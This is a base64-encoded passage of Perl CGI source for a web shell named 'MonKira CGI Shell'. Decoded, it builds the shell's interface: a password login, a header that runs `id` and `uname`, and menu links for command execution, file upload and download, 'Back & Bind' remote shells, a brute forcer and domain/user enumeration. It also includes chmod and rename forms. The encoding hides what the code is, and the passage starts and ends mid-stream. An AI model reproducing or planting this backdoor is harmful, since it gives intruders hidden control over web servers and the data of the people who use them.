JcMCIgaWYgKGRlZmluZWQoJGlueyRrZXl9KSk7CgkJCSRpbnska2V5fSAuPSAkdmFsOwoJCX0KCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgZnVuY3Rpb24gRW5jb2RlRGlyOiBlbmNvZGUgYmFzZTY0IFBhdGgKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRW5jb2RlRGlyCnsKCW15ICRkaXIgPSBzaGlmdDsKCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOwoJJGRpciA9fiBzLyhccnxcbikvLzsKCXJldHVybiAkZGlyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXIKIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUhlYWRlcgp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkaWQgPSBgaWRgIGlmKCEkV2luTlQpOwoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+Cjx0aXRsZT4kRU5WeydTRVJWRVJfTkFNRSd9IHwgSVAgOiAkRU5WeydTRVJWRVJfQUREUid9IDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKZm9udDogMTBwdCBWZXJkYW5hOwpjb2xvcjogI2ZmZjsKfQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwp9CiNkb21haW4gdHI6aG92ZXJ7CmJhY2tncm91bmQtY29sb3I6ICM0NDQ7Cn0KdGQgewpjb2xvcjogI2ZmZmZmZjsKfQoubGlzdGRpciB0ZHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQoubGlzdGRpciB0aHsKCWNvbG9yOiAjRkY5OTAwOwp9Ci5kaXIsLmZpbGUKewoJdGV4dC1hbGlnbjogbGVmdCAhaW1wb3J0YW50Owp9Ci5kaXJ7Cglmb250LXNpemU6IDEwcHQ7IAoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KdGFibGUgewpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOwp9CmlucHV0IHsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjZmY5OTAwOwp9CmlucHV0LnN1Ym1pdCB7CnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKY29sb3I6ICNGRkZGRkY7CmJvcmRlci1jb2xvcjogIzAwOTkwMDsKfQpjb2RlIHsKYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiB3aGlsZTsKfQpydW4gewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKY29sb3I6ICNGRjAwQUE7Cn0KdGV4dGFyZWEgewpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRW5jb2RlcihuYW1lKQp7Cgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsKCWUudmFsdWUgPSBidG9hKGUudmFsdWUpOwoJcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQp7CglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsKfQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikKewoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7Cgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQp7CglpZihmPT0nZicpCgl7CgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMGMwYzBjIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8Y2VudGVyPjxjb2RlPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4KCQk8Yj48Zm9udCBzaXplPSIzIj4kRWRpdFBlcnNpb248L2ZvbnQ+PC9iPgoJPC90ZD4KCTx0ZD4KCQkkaW5mbwoJPC90ZD4KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9InJlZCI+ICRFTlZ7J1NFUlZFUl9BRERSJ308L2ZvbnQ+IHwgWW91ciBJUDogPGZvbnQgY29sb3I9InJlZCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4KCTwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiPgo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24iPkhvbWU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlQ3VycmVudERpciI+R1VJPC9hPiB8IAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+VXBsb2FkIEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJydXRlZm9yY2VyIj5CcnV0ZSBGb3JjZXI8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfAo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1sb2dvdXQiPkxvZ291dDwvYT4gfAo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iLi4vZXJyb3JfbG9nLnBocCI+SGVscDwvYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiI+CiRpZAo8L3RkPgo8L3RyPgo8L3RhYmxlPgo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPgpFTkQKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpblNjcmVlbgp7CglwcmludCA8PEVORDsKPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+ClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7CiAgaWYoKHR5cGVvZiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCA9PSAidW5kZWZpbmVkIikgfHwgKHR5cGVvZiBlbGVtZW50LmlubmVySFRNTCA9PSAidW5kZWZpbmVkIikpIHsKICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4KICAgIHJldHVybjsKICB9CiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsKICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsKICB0aGlzLmludGVydmFsID0gKHR5cGVvZiBpbnRlcnZhbCA9PSAidW5kZWZpbmVkIiA/IDEwMCA6IGludGVydmFsKTsKICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsKICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0OwogIHRoaXMuY3Vyc29yID0gKGN1cnNvciA/IGN1cnNvciA6ICIiKTsKICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7CiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgdGhpcy5lbGVtZW50LnR5cGluZ1RleHQgPSB0aGlzOwogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsKICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOwogIHRoaXMucnVubmluZyA9IGZhbHNlOwogIHRoaXMuaW5UYWcgPSBmYWxzZTsKICB0aGlzLnRhZ0J1ZmZlciA9ICIiOwogIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7CiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7Cn0KVHlwaW5nVGV4dC5hbGwgPSBuZXcgQXJyYXkoKTsKVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOwpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgewogIGZvcih2YXIgaSA9IDA7IGkgPCBUeXBpbmdUZXh0LmFsbC5sZW5ndGg7IGkrKykgVHlwaW5nVGV4dC5hbGxbaV0ucnVuKCk7Cn0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7CiAgaWYodGhpcy5ydW5uaW5nKSByZXR1cm47CiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuCiAgICByZXR1cm47CiAgfQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsKLy8gIHRoaXMub3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0LnJlcGxhY2UoLzwoW148XSkqPi8sICIiKTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0LgogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgewogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7CiAgICAgIHRoaXMudGFnQnVmZmVyID0gIjwiOwogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gIj4iOwogICAgICB0aGlzLmluVGFnID0gZmFsc2U7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMuaW5UYWcpIHsKICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiYiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7CiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgICAgdGhpcy5ydW4oKTsKICAgICAgcmV0dXJuOwogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgewogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjsiOwogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOwogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsKICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOwogICAgICB0aGlzLnJ1bigpOwogICAgICByZXR1cm47CiAgICB9IGVsc2UgaWYodGhpcy5pbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOwogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7CiAgICAgIHRoaXMucnVuKCk7CiAgICAgIHJldHVybjsKICAgIH0gZWxzZSB7CiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7CiAgICB9CiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsKICAgIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgKz0gKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCAtIDEgPyAodHlwZW9mIHRoaXMuY3Vyc29yID09ICJmdW5jdGlvbiIgPyB0aGlzLmN1cnNvcih0aGlzLmN1cnJlbnRUZXh0KSA6IHRoaXMuY3Vyc29yKSA6ICIiKTsKICAgIHRoaXMuY3VycmVudENoYXIrKzsKICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsKICB9IGVsc2UgewoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOwoJdGhpcy5jdXJyZW50Q2hhciA9IDA7CiAgICAgICAgdGhpcy5ydW5uaW5nID0gZmFsc2U7CiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7CiAgfQp9Cjwvc2NyaXB0Pgo8L3ByZT4KCjxicj4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7ClR5cGluZ1RleHQucnVuQWxsKCk7Cgo8L3NjcmlwdD4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXJsRW5jb2RlKCQpewoJbXkgJHN0ciA9IHNoaWZ0OwoJJHN0ciA9fiBzLyhbXkEtWmEtejAtOV0pL3NwcmludGYoIiUlJTAyWCIsIG9yZCgkMSkpL3NlZzsKCXJldHVybiAkc3RyOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEh0bWxTcGVjaWFsQ2hhcnMoJCl7CglteSAkdGV4dCA9IHNoaWZ0OwoJJHRleHQgPX4gcy8mLyZhbXA7L2c7CgkkdGV4dCA9fiBzLyIvJnF1b3Q7L2c7CgkkdGV4dCA9fiBzLycvJiMwMzk7L2c7CgkkdGV4dCA9fiBzLzwvJmx0Oy9nOwoJJHRleHQgPX4gcy8+LyZndDsvZzsKCXJldHVybiAkdGV4dDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQWRkIGxpbmsgZm9yIGRpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBBZGRMaW5rRGlyKCQpCnsKCW15ICRhYz1zaGlmdDsKCW15IEBkaXI9KCk7CglpZigkV2luTlQpCgl7CgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsKCX1lbHNlCgl7CgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsKCX0KCW15ICRwYXRoPSIiOwoJbXkgJHJlc3VsdD0iIjsKCWZvcmVhY2ggKEBkaXIpCgl7CgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7CgkJJHJlc3VsdC49IjxhIGhyZWY9Jz9hPSIuJGFjLiImZD0iLmVuY29kZV9iYXNlNjQoJHBhdGgpLiInPiIuJF8uJFBhdGhTZXAuIjwvYT4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UKewoJcHJpbnQgPDxFTkQ7CgoKTeG6rXQga2jhuql1IHNhaSwgTW9uS2lyYSE8YnI+Cjxicj48YnI+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMb2dpbkZvcm0KewoJcHJpbnQgPDxFTkQ7Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPgo8c3Ryb25nPsSQxINuZyBuaOG6rXAgTW9uS2lyYSBDR0kgU2hlbGw8L3N0cm9uZz48YnI+IDxicj4KPGI+TeG6rXQgS2jhuql1OjwvYj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTW9uS2lyYSI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPgoJPGZvbnQgY29sb3I9cmVkPj08L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPi0tLSZndDsqICA8Zm9udCBjb2xvcj0jZmY5OTAwPldlbGxjb21lIE1vbktpcmEgPC9mb250PiAgKiZsdDstLS09PC9mb250PjwvY29kZT4KPC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQojIHZhcmlhYmxlICRDb29raWVzeycnfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBHZXRDb29raWVzCnsKCUBodHRwY29va2llcyA9IHNwbGl0KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7Cglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQoJewoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsKCQkkQ29va2llc3skaWR9ID0gJHZhbDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t